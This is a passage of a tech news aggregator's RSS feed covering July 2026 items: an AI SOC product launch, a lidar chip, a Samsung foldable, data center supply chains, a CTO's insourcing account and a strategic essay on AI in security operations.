<content:encoded><![CDATA[<p>Swimlane has announced the launch of Swimlane AI SOC for MSSPs, which the company says is designed to empower managed security service providers through agentic AI automation rather than compete for their customers. Some AI SOC providers are moving into managed services, turning former partners into competitors for the very MSSPs they once supported. Swimlane is taking the opposite approach. MSSPs that build their AI SOC on Swimlane Turbine keep the customer relationship, keep the … <a href="https://www.helpnetsecurity.com/2026/07/22/swimlane-ai-soc-mssps/" rel="nofollow">More <span class="meta-nav">→</span></a></p>
<p>The post <a href="https://www.helpnetsecurity.com/2026/07/22/swimlane-ai-soc-mssps/">Swimlane AI SOC automates security operations for MSSPs</a> appeared first on <a href="https://www.helpnetsecurity.com/">Help Net Security</a>.</p>]]></content:encoded>
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<title><![CDATA[MIT’s new lidar chip could give self-driving cars a wider view]]></title>
<description><![CDATA[MIT engineers have found a way to give chip-based lidar a wider, clearer view without relying on moving parts. Their design uses differently shaped antennas that can sit close together without scrambling one another’s signals. In tests, the system sharply reduced interference while steering a sin...]]></description>
<link>https://tsecurity.de/de/3686409/ai-nachrichten/mits-new-lidar-chip-could-give-self-driving-cars-a-wider-view/</link>
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<pubDate>Wed, 22 Jul 2026 15:07:53 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[MIT engineers have found a way to give chip-based lidar a wider, clearer view without relying on moving parts. Their design uses differently shaped antennas that can sit close together without scrambling one another’s signals. In tests, the system sharply reduced interference while steering a single precise beam across a broad field of view.]]></content:encoded>
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<title><![CDATA[Samsung’s newest foldable finally feels Ultra]]></title>
<description><![CDATA[While we wait for Apple's rumored foldable iPhone, Samsung is polishing a design it already has on the market. I just spent three hours with my hands on the new Z Fold 8 Ultra, and all I can think about is how Samsung finally made the crease invisible. Samsung says it achieved this thanks to […]]]></description>
<link>https://tsecurity.de/de/3686393/it-nachrichten/samsungs-newest-foldable-finally-feels-ultra/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3686393/it-nachrichten/samsungs-newest-foldable-finally-feels-ultra/</guid>
<pubDate>Wed, 22 Jul 2026 15:05:54 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[While we wait for Apple's rumored foldable iPhone, Samsung is polishing a design it already has on the market. I just spent three hours with my hands on the new Z Fold 8 Ultra, and all I can think about is how Samsung finally made the crease invisible. Samsung says it achieved this thanks to […]]]></content:encoded>
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<title><![CDATA[‘No matter how carefully you plan a new challenge can always appear’]]></title>
<description><![CDATA[Emma Woodhouse discusses her role in manufacturing and supply chain systems, the skills that keep it all moving and how pets have no regard for work deadlines.  
Read more: ‘No matter how carefully you plan a new challenge can always appear’]]></description>
<link>https://tsecurity.de/de/3686238/it-nachrichten/no-matter-how-carefully-you-plan-a-new-challenge-can-always-appear/</link>
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<pubDate>Wed, 22 Jul 2026 14:18:32 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Emma Woodhouse discusses her role in manufacturing and supply chain systems, the skills that keep it all moving and how pets have no regard for work deadlines.  </p>
<p>Read more: <a rel="nofollow" href="https://www.siliconrepublic.com/people/new-challenge-always-appear-accenture-supply-chain-management-manufacturing">‘No matter how carefully you plan a new challenge can always appear’</a></p>]]></content:encoded>
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<title><![CDATA[The $3 trillion assembly line: Why CIOs must industrialize the data center supply chain]]></title>
<description><![CDATA[You are one of the six billion people (75% of the world population) online today, and every click you make is routed through the data center. Data centers, whether knowingly or unknowingly, play a very critical role in your daily online activities. With an increasing population, increasing usage ...]]></description>
<link>https://tsecurity.de/de/3686216/it-nachrichten/the-3-trillion-assembly-line-why-cios-must-industrialize-the-data-center-supply-chain/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3686216/it-nachrichten/the-3-trillion-assembly-line-why-cios-must-industrialize-the-data-center-supply-chain/</guid>
<pubDate>Wed, 22 Jul 2026 14:04:29 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph"></p>



<p class="wp-block-paragraph">You are one of the six billion people (75% of the world population) online today, and every click you make is routed through the data center. Data centers, whether knowingly or unknowingly, play a very critical role in your daily online activities. With an increasing population, increasing usage of online presence, and now omniscient AI, the demand for data centers has increased manyfold, and the trend seems similar to the year 2000, when telephone towers were built to accommodate increased digital presence.</p>



<p class="wp-block-paragraph">To win the AI race, Hyperscalers (Google, Meta, Amazon, Microsoft, Alibaba, Oracle, IBM, Tencent) are spending huge amounts of money on data center development. In the USA, the hyperscalers are planning to spend <a href="https://finance.yahoo.com/news/big-tech-set-to-spend-650-billion-in-2026-as-ai-investments-soar-163907630.html">$650 billion in 2026, which is around 70% higher than 2025 spending</a>, according to Yahoo Finance.</p>



<p class="wp-block-paragraph">As per McKinsey research, by 2030, companies will invest around $7 trillion in Capex on data center infrastructure globally. More than $4 trillion will go towards computing hardware investment. More than 40% of this spending will be invested in the United States.</p>



<h2 class="wp-block-heading">Demand growth in data centers</h2>



<p class="wp-block-paragraph">McKinsey analysis shows that global demand for data center capacity can more than triple by 2030, with a compound annual growth rate (CAGR) of around 22 per cent. In the USA, data center demand could grow by 20-25 per cent at the same time.  </p>



<p class="wp-block-paragraph">The data center industry is currently undergoing a violent transition. We are moving away from the era of “bespoke projects” — where every facility was a unique architectural feat — into an era of industrialized infrastructure. With global capital expenditure in the sector projected to hit $3 trillion by 2028, the “bottleneck” has shifted. It is no longer about securing the capital; it is about the physics of the supply chain.</p>



<p class="wp-block-paragraph">During my tenure at Vantage, managing the intersection of data center construction management (DCCM) and infrastructure management (DCIM), I saw firsthand that the most successful players aren’t those with the deepest pockets, but those with the most integrated data threads. If your construction data in Procore doesn’t talk to your financial reality in Yardi, or your operational capacity in DCIM, you aren’t building a data center — you’re managing a $500 million blind spot.</p>



<h2 class="wp-block-heading">The death of “sticks and bricks”</h2>



<p class="wp-block-paragraph">Traditionally, data center construction was treated as civil engineering. But for the modern CIO, a data center is a complex product assembly.</p>



<p class="wp-block-paragraph">The challenges are systemic. We are facing 50-to-80-week lead times for critical “long-pole” items: extra-high-voltage transformers, switchgear, and the liquid cooling manifolds required for the next generation of AI chips. In this environment, the traditional reactive supply chain model is a liability.</p>



<p class="wp-block-paragraph">To survive the $3 trillion inflow, we must adopt a hybrid-agile SCOR (supply chain operations reference) model. This means applying continuous flow logic to standardized components (like modular power skids) while maintaining agile responsiveness for the volatile IT layer.</p>



<h2 class="wp-block-heading">The digital bridge: Construction management software  to ERP</h2>



<p class="wp-block-paragraph">The most significant opportunity for CIOs lies in financial-operational integration. In many organizations, there is a data chasm between the construction site and the corporate office. Construction teams live in the construction management software tracking tasks, trades, RFIs and payment submittals. Finance teams operate corporate offices with project management tools (worth remembering that email is a key tool besides spreadsheets and phone calls) tracking capex schedule, commissioning timeline, capital drawdowns and asset lifecycle management.</p>



<p class="wp-block-paragraph">These systems are siloed; the CIO loses visibility into the total cost to serve. By integrating construction management into the financial system, we create real-time financial visibility of the build. We can see exactly how a three-week delay in a chiller delivery impacts the internal rate of return (IRR) of the entire asset. This isn’t just accounting; it’s strategic telemetry.</p>



<h2 class="wp-block-heading">From BIM to DCIM: The lifecycle thread</h2>



<p class="wp-block-paragraph">The second bridge is the handoff from construction (BIM) to operations (DCIM). Historically, this handoff was a nightmare of PDFs and Excel sheets. By the time the operations team took the keys, the “as-built” design information was already out of date.</p>



<p class="wp-block-paragraph">The opportunity today is to maintain a continuous data thread. The sensor data and asset tags established during the “make” phase in our SCOR model should flow directly into the DCIM. This allows us to perform virtual commissioning. Before a single server is racked, we should already have a digital replica of the airflow, power distribution, and cooling capacity.</p>



<h2 class="wp-block-heading">The scientific inference: AI in the supply chain</h2>



<p class="wp-block-paragraph">As someone who has led data and AI initiatives, I’ve seen the hype. But in the supply chain, the application of AI must be pragmatic, not generative. We don’t need AI to write poems; we need it for predictive procurement. Most organizations manage their procurement in ERP or a mix of a few tools to manage the source-to-settle business flow. Adopting a system workflow improves data collection and the state of the procurement cycle, which in turn provides AI with the context to draw inferences for possible delays and anomalies in original specifications and change orders.</p>



<p class="wp-block-paragraph">By applying machine learning to global logistics data, we can move from just-in-time to just-in-case modeling. AI can analyze geopolitical risks, shipping lane congestion, and raw material pricing to tell a CIO: <em>“Order your switchgear 14 months early, or your Q3 2027 ‘Power On’ date is at risk.”</em></p>



<h2 class="wp-block-heading">Bringing it all together: AI in the supply chain and finance</h2>



<p class="wp-block-paragraph">Why it matters: Approximately 70% of the capex is on this workflow and making timely decisions that directly impact the ready-for-service dates. The current challenge of reactionary adjustment in design to procurement to local fit-out is a significant drain on capex efficiency and cost of capital. Because single-project delivery delays have become so volatile, a massive structural shift is occurring in how digital infrastructure is funded. Single-project debt (special purpose vehicles or SPVs) is facing severe friction. To insulate themselves from RFS shocks, the largest institutional players are moving toward permanent platform capital — aggregating exposure across dozens of global assets simultaneously.</p>



<p class="wp-block-paragraph">Navigating these complex multi-billion-dollar engineering projects distributed over a large geography is simply unmanageable without rethinking and re-engineering existing tools and processes.</p>



<h2 class="wp-block-heading">The roadmap for the modern CIO</h2>



<p class="wp-block-paragraph">To lead this transformation, CIOs must move beyond the IT shop mentality and become master orchestrators of the supply chain. Here is the 1500-word reality condensed into three mandates:</p>



<ol start="1" class="wp-block-list">
<li><strong>Standardize the product:</strong> Stop designing bespoke facilities. Move toward DFMA (design for manufacturing and assembly). If 70% of your data center can be built in a factory and shipped as modules, you bypass the unpredictability of on-site labor.</li>



<li><strong>Integrate the financial stack:</strong> If your construction management software and your ERP aren’t sharing a heartbeat, your data is lying to you. Force the integration between Procore and Yardi.</li>



<li><strong>Own the long poles:</strong> Don’t leave the procurement of transformers and cooling units to general contractors. Use your balance sheet to secure these items years in advance. In 2026, inventory is the new currency.</li>
</ol>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.cio.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
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<title><![CDATA[From outsourcing to ownership: How we brought development in-house without breaking delivery]]></title>
<description><![CDATA[Outsourcing worked – until it didn’t.



After Akirolabs achieved early market validation and onboarded its first enterprise customers, outsourcing began to create strategic limitations around scalability, intellectual property (IP) ownership, security and delivery execution.



The challenges st...]]></description>
<link>https://tsecurity.de/de/3685759/it-security-nachrichten/from-outsourcing-to-ownership-how-we-brought-development-in-house-without-breaking-delivery/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3685759/it-security-nachrichten/from-outsourcing-to-ownership-how-we-brought-development-in-house-without-breaking-delivery/</guid>
<pubDate>Wed, 22 Jul 2026 11:11:54 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph">Outsourcing worked – until it didn’t.</p>



<p class="wp-block-paragraph">After Akirolabs achieved early market validation and onboarded its first enterprise customers, outsourcing began to create strategic limitations around scalability, intellectual property (IP) ownership, security and delivery execution.</p>



<p class="wp-block-paragraph">The challenges started after the first enterprise customers confirmed product-market fit. At that point, delivery speed became directly tied to business growth. Product quality expectations increased. Infrastructure and security requirements became stricter. Investors started asking difficult but<a href="https://www.cio.com/article/4069909/10-outsourcing-strategy-questions-every-it-leader-must-answer.html"> </a><a href="https://www.cio.com/article/4069909/10-outsourcing-strategy-questions-every-it-leader-must-answer.html">fair questions</a> about IP ownership, operational dependencies and long-term scalability.</p>



<p class="wp-block-paragraph">Most importantly, engineering execution was no longer just an operational function – it became part of the company’s strategic advantage. That was the moment when the founders decided the company needed dedicated technology leadership to address these challenges. This is how I joined the company at the beginning of 2023. As VP of Engineering and a bit later as CTO, I led the transformation (usually known as<a href="https://www.cio.com/article/272355/outsourcing-outsourcing-definition-and-solutions.html"> </a><a href="https://www.cio.com/article/272355/outsourcing-outsourcing-definition-and-solutions.html">insourcing, repatriating or backsourcing</a>) from an outsourced model to an internal engineering organization while maintaining product delivery continuity and preparing the company for the next growth stage. The process took roughly a year and involved not only technical migration, but also organizational design, hiring, process development, infrastructure modernization and cultural transformation – everything from the ground up.</p>



<h2 class="wp-block-heading">Building an internal engineering organization while still delivering</h2>



<p class="wp-block-paragraph">One of the biggest misconceptions about insourcing is that it is primarily a technical project. It is a leadership and execution challenge.</p>



<p class="wp-block-paragraph">When I joined the company, there was effectively no internal engineering structure, limited visibility into the existing system and no clear long-term technical strategy. My first months were dedicated to understanding reality and I began with a comprehensive assessment of the codebase, operational risks, documentation quality and knowledge dependencies to determine the most viable transition strategy.</p>



<p class="wp-block-paragraph">Very early in the process, I faced a critical strategic decision: whether to gradually assume ownership of the existing platform or rebuild it internally. To make that decision, I evaluated four distinct transition models ranging from limited management insourcing to a complete internal rebuild.</p>



<p class="wp-block-paragraph">After assessing the technical, operational and long-term business implications of each approach, I selected the most demanding option: rebuilding the product internally while maintaining uninterrupted delivery for existing customers. Although riskier in the short term, a full rebuild offered the clearest route to complete IP ownership, architectural flexibility and long-term scalability.</p>



<p class="wp-block-paragraph">At the time, this decision ran counter to the approach typically taken by startups in similar situations. Most organizations gradually assume ownership of an existing codebase to minimize short-term risk and preserve delivery capacity. My assessment was that the accumulated architectural debt, fragmented knowledge distribution and long-term maintenance risks would ultimately make a phased takeover more expensive and less scalable than a controlled rebuild. The strategy required significantly higher execution discipline, but it allowed us to establish complete ownership of the platform, eliminate inherited constraints and create an architecture capable of supporting enterprise-scale growth.</p>



<p class="wp-block-paragraph">The next challenge was hiring.</p>



<p class="wp-block-paragraph">In Germany, hiring can easily take four to six months – mostly due to a typical 3-month notice period, which is incompatible with startup timelines. We solved this by building a hybrid organization structure early: a lean internal core team combined with carefully selected contractors. Instead of hiring only narrow specialists, we prioritized experienced generalists capable of operating across architecture, infrastructure, security and compliance discussions. Later, we evolved toward a<a href="https://docs.google.com/document/d/1uSc1o6hdJ5AweCsjcLzo3JAzvq1q-7ALl1MPMNWx2sQ/edit?usp=sharing"> </a><a href="https://docs.google.com/document/d/1uSc1o6hdJ5AweCsjcLzo3JAzvq1q-7ALl1MPMNWx2sQ/edit?usp=sharing">product engineering model</a>, where engineers owned broader product outcomes rather than narrowly defined technical functions.</p>



<p class="wp-block-paragraph">During the first three months, we established a core engineering team of four senior engineers. Over the following nine months, the organization expanded to roughly fifteen engineers while I strategically designed and executed the transformation of the platform’s architecture to meet the rigorous deployment and compliance standards of our first enterprise clients, including Raiffeisen Bank International and Bertelsmann. This structural overhaul allowed the company to meet the deployment, security and compliance requirements of enterprise customers that had previously been inaccessible under the outsourced model. At that point, we had already achieved complete coverage across backend, frontend, DevOps, QA and security.</p>



<p class="wp-block-paragraph">I also intentionally kept processes lightweight during the transition. Instead of introducing heavyweight frameworks, we focused on clarity of priorities, fast decision-making and execution discipline. We used Kanban over Scrum, eliminated unnecessary meetings, shortened the remaining ones and emphasized engineering culture over process overhead.</p>



<p class="wp-block-paragraph">Another major challenge was project estimation. Because dual-track development was unavoidable until the in-house platform reached production readiness, estimation accuracy had a direct impact on budget efficiency. Despite all challenges, my initial estimate ultimately proved remarkably close to the final delivery date, differing by only about a week. Accurate forecasting under conditions of parallel development streams, ongoing customer commitments and active team formation became a critical leadership challenge. Maintaining this level of predictability throughout the transition helped align engineering execution with business planning, hiring decisions and investor expectations.</p>



<p class="wp-block-paragraph">The engineering transformation enabled capabilities that contributed to Akirolabs being recognized as an IDC Innovator in Procurement in 2023, named amongst the Top 27 AI Startups in Germany in 2024, Sifted’s 100 Fastest-Growing Startups in DACH &amp; CEE 2025 and inclusion in 2024-2026 in ProcureTech100 annual recognition of procurement technology providers shaping the future of digital procurement.</p>



<h2 class="wp-block-heading">Managing risk without slowing down the business</h2>



<p class="wp-block-paragraph">The hardest part of insourcing is not writing code, selecting the technology stack, designing architecture or configuring infrastructure. It is avoiding disruption while the company is changing underneath the product. I successfully orchestrated the concurrent overhaul of product architecture, cross-functional engineering recruitment, infrastructure modernization and live customer operations under exceptionally tight margins.</p>



<p class="wp-block-paragraph">To reduce delivery risk, we approached the transition in layers.</p>



<p class="wp-block-paragraph">First, we focused on<a href="https://platformengineering.com/features/the-platform-centric-shift-why-enterprise-ai-teams-need-internal-ai-platforms-not-more-engineers/"> </a><a href="https://platformengineering.com/features/the-platform-centric-shift-why-enterprise-ai-teams-need-internal-ai-platforms-not-more-engineers/">infrastructure reliability and operational readiness</a> before feature expansion. Cloud architecture, recovery testing, permission segregation and incident management processes were implemented early, not after launch. We also introduced multiple testing stages and dedicated QA functions after learning the hard way that a “developers-only” quality control approach does not scale for complex web platforms and business domains.</p>



<p class="wp-block-paragraph">Second, we established a structured knowledge-transfer process to rapidly onboard engineers and reduce external dependencies.</p>



<p class="wp-block-paragraph">Third, we became extremely disciplined about scope management. One of the most common reasons<a href="https://www.cio.com/article/244453/whether-outsourcing-or-insourcing-cios-need-control.html"> </a><a href="https://www.cio.com/article/244453/whether-outsourcing-or-insourcing-cios-need-control.html">insourcing initiatives fail is uncontrolled change</a> during the rebuild phase. Every new feature request increases uncertainty non-linearly. We learned to separate strategic improvements from distractions and protect the core delivery roadmap aggressively. Throughout the transition, we successfully maintained uninterrupted customer operations by utilizing planned maintenance windows, achieved a near-zero-downtime migration and permanently doubled product velocity immediately following the migration.</p>



<p class="wp-block-paragraph">Beyond the technical migration itself, the transition established a repeatable operating model for scaling technology organizations beyond the product-market-fit stage. The framework combined organizational redesign, controlled knowledge repatriation, architecture modernization and enterprise-grade operational practices while maintaining uninterrupted customer delivery throughout the transformation. While the implementation was specific to Akirolabs, the underlying principles are broadly applicable to organizations seeking to transition from outsourced development to internal product ownership without disrupting business operations.</p>



<p class="wp-block-paragraph">By the time the new platform reached production readiness, I had established not only a functioning engineering organization, but also a stable operational model: internal ownership, production-grade infrastructure, security processes, scalable hiring practices and clear technology and product roadmaps.</p>



<p class="wp-block-paragraph">A positive side effect of the transition was the creation of internal UI/UX and Data Science capabilities, which later became strategically important for AI product initiatives and created a foundation for the third version of the product, which we released in mid-2025.</p>



<p class="wp-block-paragraph">My technical restructuring and migration to a secure proprietary platform reduced architectural risk, established full in-house ownership and helped strengthen investor confidence during the company’s successful €5M fundraising round in 2024.</p>



<p class="wp-block-paragraph">The transition created a stronger foundation for scale and supported the company’s continued expansion among enterprise organizations operating at Fortune 500 scale, including Ahold Delhaize, Workday, IFF, Deutsche Bahn and others.</p>



<h2 class="wp-block-heading">Lessons learned for CTOs considering insourcing</h2>



<p class="wp-block-paragraph">Looking back, several decisions made the transition successful, and several mistakes made it harder than necessary.</p>



<p class="wp-block-paragraph">The first lesson is simple: decisiveness in strategic transition is paramount to maintaining business momentum. Rapidly evaluating insourcing frameworks and defining clear boundaries with the external partner allowed us to mitigate operational downtime and execute a highly efficient migration ahead of critical market deadlines.</p>



<p class="wp-block-paragraph">Second, hire more senior people and do it as early as possible. Strong technical leaders multiply execution capacity far beyond their individual contribution. In our case, the quality of the first hires influenced architecture quality, hiring standards, delivery discipline and engineering culture for the entire organization.</p>



<p class="wp-block-paragraph">Finally, culture matters more than frameworks. Processes can be added later. Ownership mentality cannot.</p>



<p class="wp-block-paragraph">The biggest long-term advantage of bringing development in-house was not simply faster execution, not better code quality or operational cost optimization by over 30% after the transition which we also achieved. It was an alignment. Product strategy, engineering decisions, customer priorities and business goals became part of the same conversation instead of being separated by organizational boundaries. For technology companies operating in highly competitive markets, that alignment becomes a compounding advantage over time.</p>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.cio.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
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<title><![CDATA[AI, security operations and the new race against time]]></title>
<description><![CDATA[When Anthropic unveiled Project Glasswing and the Mythos model, much of the discussion focused on the capabilities themselves.



Security leaders debated what these systems could mean for vulnerability discovery, exploit development and the pace of offensive innovation. Researchers examined tech...]]></description>
<link>https://tsecurity.de/de/3685757/it-security-nachrichten/ai-security-operations-and-the-new-race-against-time/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3685757/it-security-nachrichten/ai-security-operations-and-the-new-race-against-time/</guid>
<pubDate>Wed, 22 Jul 2026 11:11:50 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
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<p class="wp-block-paragraph">When Anthropic unveiled Project Glasswing and the Mythos model, much of the discussion focused on the capabilities themselves.</p>



<p class="wp-block-paragraph"><a href="https://www.csoonline.com/article/4158117/anthropics-mythos-signals-a-structural-cybersecurity-shift.html?utm=hybrid_search">Security leaders debated</a> what these systems could mean for vulnerability discovery, exploit development and the pace of offensive innovation. Researchers examined technical benchmarks. Industry observers questioned how quickly these capabilities might fall into attackers’ hands.</p>



<p class="wp-block-paragraph">Those conversations are important. They also point to a larger question that predominates my discussions with CISOs: How much time do we have?</p>



<p class="wp-block-paragraph">Over the past year, conversations about AI in cybersecurity have changed noticeably. Twelve months ago, security leaders wanted to understand whether AI could meaningfully improve security operations. They wanted to know whether it could accurately investigate alerts, reduce analyst workload and operate reliably in production environments.</p>



<p class="wp-block-paragraph">Today, security leaders are asking about timelines, implementation, how quickly AI is changing the threat landscape and what that means for <a href="https://www.csoonline.com/article/4158008/the-ai-inflection-point-what-security-leaders-must-do-now.html">how security teams operate</a>.</p>



<p class="wp-block-paragraph">Anthropic’s Mythos and Glasswing, OpenAI’s Daybreak and advances in DeepSeek accelerate those conversations. Each development provides another glimpse into the pace at which AI capabilities are advancing.</p>



<p class="wp-block-paragraph">AI now reasons through security problems that historically required highly specialized expertise. The implications span vulnerability discovery, attack-path analysis, reconnaissance, social engineering and security operations.</p>



<p class="wp-block-paragraph">The shift reflects a broader reality: cybersecurity is entering a period where the pace of adaptation may matter as much as the quality of defenses themselves. AI is accelerating both offense and defense simultaneously. Organizations are quickly redesigning security operations around that reality.</p>



<p class="wp-block-paragraph">One consequence is becoming increasingly visible. For years, cybersecurity teams invested enormous effort in discovering threats, identifying vulnerabilities, gathering telemetry and collecting intelligence. AI is accelerating many of those activities simultaneously. Visibility is improving. Discovery is accelerating. Investigations are becoming faster and more comprehensive.</p>



<p class="wp-block-paragraph">The bottleneck is beginning to move. The challenge increasingly centers on how quickly organizations can act on what they know. The organizations that gain an advantage may not be the ones with the most information. They will be the ones who can operationalize that information the fastest.</p>



<h2 class="wp-block-heading">The timeline is compressing</h2>



<p class="wp-block-paragraph">Cybersecurity has experienced many major technology transitions. Cloud computing changed infrastructure. Mobile devices expanded the attack surface. Digital transformation connected systems that were previously isolated.</p>



<p class="wp-block-paragraph">AI introduces a different dynamic.</p>



<p class="wp-block-paragraph">Most technology transitions unfolded over years. Organizations had time to evaluate, pilot, deploy and gradually adapt operating models.</p>



<p class="wp-block-paragraph">The current AI cycle moves at a different pace.</p>



<p class="wp-block-paragraph">Capabilities improve continuously. New models arrive every few months. New research emerges every few weeks. Security teams absorb developments at the same time attackers do.</p>



<p class="wp-block-paragraph"><a href="https://www.csoonline.com/article/4155342/what-anthropic-glasswing-reveals-about-the-future-of-vulnerability-discovery.html">Vulnerability discovery</a> provides a useful example. Security teams have long operated around a familiar cycle of discovery, validation, remediation and protection. AI systems accelerate every stage of that process. Similar patterns exist in phishing, reconnaissance, social engineering and attack planning.</p>



<p class="wp-block-paragraph">A vulnerability that once moved through that cycle over weeks increasingly now moves through those stages in days or, in some cases, hours.</p>



<p class="wp-block-paragraph">Attackers are already operating at the speed of AI. Defenders are now focused on reaching the same level of operational speed.</p>



<p class="wp-block-paragraph">This shift is changing the questions CISOs ask.</p>



<p class="wp-block-paragraph">Early discussions focused on capability. Could AI investigate alerts accurately? Could it operate reliably in production environments? Could it be trusted with meaningful security work?</p>



<p class="wp-block-paragraph">As organizations gained experience with AI, the discussion shifted toward implementation. Security teams began evaluating where AI could create operational leverage and how quickly they could deploy it into existing workflows.</p>



<p class="wp-block-paragraph">Today, many CISOs are focused on timing.</p>



<p class="wp-block-paragraph">The pace of advancement is influencing planning horizons, budget decisions and operating-model discussions. Security leaders are evaluating how quickly they can introduce AI into investigations, threat hunting, detection engineering and response workflows. Boards are asking questions. Executive teams are paying attention.</p>



<p class="wp-block-paragraph">Security programs that once viewed AI as a future initiative increasingly view it as a current operational priority.</p>



<p class="wp-block-paragraph">The industry is moving from evaluating AI as a technology to incorporating AI as a security capability.</p>



<p class="wp-block-paragraph">The timeline compression creates pressure on the traditional security operations model. Investigation speed, response speed and defensive coverage increasingly determine whether organizations can keep pace with adversaries operating with AI assistance.</p>



<h2 class="wp-block-heading">Security operations are entering a new phase</h2>



<p class="wp-block-paragraph">The impact of AI is becoming particularly visible inside the SOC.</p>



<p class="wp-block-paragraph">Many security operations centers were built around a straightforward assumption: alerts flow to human analysts who conduct investigations. Operational capacity scales primarily through hiring.</p>



<p class="wp-block-paragraph">The volume of security data, the number of alerts and the complexity of modern environments have steadily increased. Security teams have responded by building processes, adding tools and creating specialized analyst roles.</p>



<p class="wp-block-paragraph">AI introduces a new source of operational capacity.</p>



<p class="wp-block-paragraph">Investigations that require analysts to examine dozens or hundreds of artifacts across endpoint, identity, cloud, network and email systems can now be performed in minutes. Analysts gain access to investigative depth and consistency that would be difficult to achieve manually at scale.</p>



<p class="wp-block-paragraph">Many security leaders now view this capability through the lens of operating model design. They are examining how investigations are performed, how work is distributed and where human expertise creates the greatest value.</p>



<h2 class="wp-block-heading">The evolution of the analyst role</h2>



<p class="wp-block-paragraph">One of the most important developments emerging from early production deployments is the <a href="https://www.csoonline.com/article/4163299/the-manager-of-agents-how-ai-evolves-the-soc-analyst-role.html">evolution of analyst responsibilities</a>.</p>



<p class="wp-block-paragraph">Security analysts remain central to security operations. Their expertise becomes even more valuable as AI systems take on larger portions of investigative work.</p>



<p class="wp-block-paragraph">Threat hunting, detection engineering, response strategy, governance and oversight are receiving increased attention. Analysts spend more time shaping how investigations are conducted, evaluating outcomes and improving overall security operations.</p>



<p class="wp-block-paragraph">Many organizations are already beginning this shift.</p>



<p class="wp-block-paragraph">Teams are investing more heavily in proactive security activities. Detection engineering programs are expanding. Threat hunting is becoming more accessible. Analysts are spending more time improving systems and less time repeating investigative tasks.</p>



<p class="wp-block-paragraph">These changes create what I think of as an analyst-amplified SOC: an environment where AI expands the reach of security professionals and enables deeper security work across the organization.</p>



<h2 class="wp-block-heading">Trust is critical and it doesn’t have to compromise speed</h2>



<p class="wp-block-paragraph">Faced with a compressing timeline, the instinct is to treat speed and trust as a trade-off, i.e., move faster, verify less. That trade-off feels inevitable. It isn’t.</p>



<p class="wp-block-paragraph">You don’t trust AI in the abstract. You trust that a system understands your tools, your telemetry and the edge cases that only exist in your network. The problem was never speed. It’s speed without context. The faster a context-blind system runs, the more decisions you’re left unable to verify.</p>



<p class="wp-block-paragraph">The tension eases when the system is quick to deploy and tunes to your environment once it’s there, rather than treating every network the same. Speed stops being the thing you trade against trust. The more it learns about your environment, the sharper and more trustworthy it becomes, so the two compound rather than compete. Trust still develops through operational evidence such as measurable outcomes, visibility into decisions and consistent performance. But where that evidence accrues matters.</p>



<p class="wp-block-paragraph">The organizations making the fastest real progress understand this. They don’t compromise quality and trust for speed. They invest in AI that earns trust inside their own environment, so they don’t have to choose.</p>



<h2 class="wp-block-heading">Leadership during a period of rapid change</h2>



<p class="wp-block-paragraph">The conversations surrounding Mythos and Glasswing reflect a broader reality facing security leaders.</p>



<p class="wp-block-paragraph">AI is becoming part of both offense and defense. Security teams are incorporating it into investigations, detection engineering, response workflows and threat hunting. Attackers are incorporating it into their own operations.</p>



<p class="wp-block-paragraph">Security leaders have an opportunity to modernize operating models, expand defensive capacity and build organizational experience while these capabilities continue to evolve.</p>



<p class="wp-block-paragraph">The organizations making progress today are investing in readiness. They are building experience, adapting workflows and preparing teams for a new model of security operations.</p>



<p class="wp-block-paragraph">The next phase of cybersecurity will be defined by how effectively organizations combine human judgment with machine-scale execution.</p>



<p class="wp-block-paragraph">The question facing security leaders is increasingly clear: How quickly can their organizations adapt to a continuously changing threat environment?</p>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.cio.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
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<title><![CDATA[Synthesia’s AI training platform is moving beyond videos into live coaching]]></title>
<description><![CDATA[Synthesia launched AI Roleplay Sessions, an interactive enterprise training platform where employees practice workplace conversations with AI avatars that provide feedback, scoring, and analytics to help companies measure training effectiveness.]]></description>
<link>https://tsecurity.de/de/3685571/it-nachrichten/synthesias-ai-training-platform-is-moving-beyond-videos-into-live-coaching/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3685571/it-nachrichten/synthesias-ai-training-platform-is-moving-beyond-videos-into-live-coaching/</guid>
<pubDate>Wed, 22 Jul 2026 10:02:50 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Synthesia launched AI Roleplay Sessions, an interactive enterprise training platform where employees practice workplace conversations with AI avatars that provide feedback, scoring, and analytics to help companies measure training effectiveness.]]></content:encoded>
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<title><![CDATA[Bit2Watt instability, AI models cheat, Chinese LLM ban]]></title>
<description><![CDATA[Bit2Watt threatens power stability All AI models cheat at cyber evaluations US weighing Chinese LLM ban Get the show notes here: https://cisoseries.com/cybersecurity-news-bit2watt-instability-ai-models-cheat-chinese-llm-ban/  Huge thanks to our sponsor, QuilrAI AI agents don’t ask permission. The...]]></description>
<link>https://tsecurity.de/de/3685536/it-security-nachrichten/bit2watt-instability-ai-models-cheat-chinese-llm-ban/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3685536/it-security-nachrichten/bit2watt-instability-ai-models-cheat-chinese-llm-ban/</guid>
